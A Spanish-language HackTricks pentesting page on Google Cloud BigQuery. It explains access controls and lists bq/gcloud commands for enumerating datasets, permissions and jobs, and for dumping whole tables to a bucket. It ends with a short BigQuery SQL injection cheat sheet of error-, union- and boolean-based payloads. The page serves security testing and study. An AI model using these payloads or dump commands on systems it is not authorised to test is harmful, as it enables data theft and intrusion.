GCP - Bigquery Enum

Support HackTricks

Información Básica

Google Cloud BigQuery es un almacenamiento de datos empresarial sin servidor y completamente gestionado, que ofrece capacidades para análisis sobre petabytes de datos, manejando así conjuntos de datos a gran escala de manera eficiente. Como Plataforma como Servicio (PaaS), proporciona a los usuarios infraestructura y herramientas para facilitar la gestión de datos sin necesidad de supervisión manual.

Soporta consultas utilizando ANSI SQL. Los objetos principales son conjuntos de datos que contienen tablas que contienen datos SQL.

Cifrado

Por defecto se utiliza una clave de cifrado gestionada por Google, aunque es posible configurar una clave de cifrado gestionada por el cliente (CMEK). Es posible indicar la clave de cifrado por conjunto de datos y por tabla dentro de un conjunto de datos.

Expiración

Es posible indicar un tiempo de expiración en el conjunto de datos para que cualquier nueva tabla creada en este conjunto de datos sea eliminada automáticamente el número especificado de días después de su creación.

Fuentes Externas

Bigquery está profundamente integrado con otros servicios de Google. Es posible cargar datos desde buckets, pub/sub, google drive, bases de datos RDS...

ACLs del Conjunto de Datos

Cuando se crea un conjunto de datos, se adjuntan ACLs para dar acceso sobre él. Por defecto, se otorgan privilegios de Propietario al usuario que creó el conjunto de datos y luego Propietario al grupo projectOwners (Propietarios del proyecto), Escritor al grupo projectWriters y Lector al grupo projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Control de Acceso a Filas de Tabla

Es posible controlar las filas a las que un principal podrá acceder dentro de una tabla con políticas de acceso a filas. Estas se definen dentro de la tabla utilizando DDL. La política de acceso define un filtro y solo las filas que coincidan con ese filtro serán accesibles por los principales indicados.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Control de Acceso a Columnas

Para restringir el acceso a los datos a nivel de columna:

  1. Definir una taxonomía y etiquetas de política. Crea y gestiona una taxonomía y etiquetas de política para tus datos. https://console.cloud.google.com/bigquery/policy-tags

  2. Opcional: Concede el rol de Lector de Datos Catalogados de Grano Fino a uno o más principales en una o más de las etiquetas de política que creaste.

  3. Asigna etiquetas de política a tus columnas de BigQuery. En BigQuery, utiliza anotaciones de esquema para asignar una etiqueta de política a cada columna donde desees restringir el acceso.

  4. Aplica control de acceso en la taxonomía. Aplicar control de acceso provoca que las restricciones de acceso definidas para todas las etiquetas de política en la taxonomía se apliquen.

  5. Gestiona el acceso en las etiquetas de política. Utiliza Identity and Access Management (IAM) políticas para restringir el acceso a cada etiqueta de política. La política está en efecto para cada columna que pertenece a la etiqueta de política.

Cuando un usuario intenta acceder a los datos de la columna en el momento de la consulta, BigQuery verifica la etiqueta de política de la columna y su política para ver si el usuario está autorizado para acceder a los datos.

Como resumen, para restringir el acceso a algunas columnas a algunos usuarios, puedes agregar una etiqueta a la columna en el esquema y restringir el acceso de los usuarios a la etiqueta aplicando control de acceso en la taxonomía de la etiqueta.

Para aplicar control de acceso en la taxonomía es necesario habilitar el servicio:

gcloud services enable bigquerydatapolicy.googleapis.com

Es posible ver las etiquetas de las columnas con:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Enumeración

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

Inyección SQL en BigQuery

Para más información, puedes consultar la publicación del blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Aquí solo se darán algunos detalles.

Comentarios:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ Pero solo el inicial no funcionará

  • select 1--from here it is not working

Obtén información sobre el entorno como:

  • Usuario actual: select session_user()

  • ID del proyecto: select @@project_id

Concatena filas:

  • Todos los nombres de las tablas: string_agg(table_name, ', ')

Obtén nombres de datasets, tablas y columnas:

  • Nombre del proyecto y del dataset:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Nombres de columna y tabla de todas las tablas del conjunto de datos:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • Otros conjuntos de datos en el mismo proyecto:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Tipos de inyección SQL:

  • Basada en errores - casting: select CAST(@@project_id AS INT64)

  • Basada en errores - división por cero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Basada en unión (necesitas usar ALL en bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Basada en booleanos: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potencialmente basada en tiempo - Uso de ejemplos de conjuntos de datos públicos: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Documentación:

Escalación de privilegios y post explotación

Persistencia

Referencias

Apoya a HackTricks

Last updated